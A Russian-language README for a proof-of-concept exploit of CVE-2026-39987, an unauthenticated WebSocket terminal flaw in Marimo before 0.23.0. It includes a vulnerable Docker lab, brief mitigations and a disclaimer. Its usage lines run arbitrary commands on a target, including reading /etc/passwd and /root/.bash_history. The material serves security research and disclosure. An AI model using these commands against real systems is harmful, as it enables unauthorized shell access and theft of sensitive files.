
CVE-2026-39987
Неаутентифицированное удаленное выполнение кода в Marimo через WebSocket терминал
CVE-2026-39987 — это критическая уязвимость удаленного выполнения кода до аутентификации, затрагивающая версии Marimo до 0.23.0. WebSocket-эндпоинт /terminal/ws полностью обходит аутентификацию, позволяя любому неаутентифицированному злоумышленнику получить полную интерактивную PTY-оболочку с привилегиями процесса Marimo (обычно root в средах Docker).
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// → ws:// и https:// → wss://CVE-2026-39987/
├── CVE-2026-39987-poc.py ← Основной эксплойт
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← Постоянные блокноты (опционально)
├── README.md
└── LICENSE
pip install websocket-client
# Basic usage
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# System enumeration
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# Read sensitive files
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
Затем протестируйте:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0/terminal/ws через брандмауэр или правила проксиЭта концептуальная демонстрация (Proof of Concept) предназначена только для образовательных целей и авторизованного тестирования безопасности. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом. Перед тестированием любой системы убедитесь, что у вас есть явное разрешение.
Используйте этично и ответственно.
Создано для исследований безопасности и ответственного раскрытия.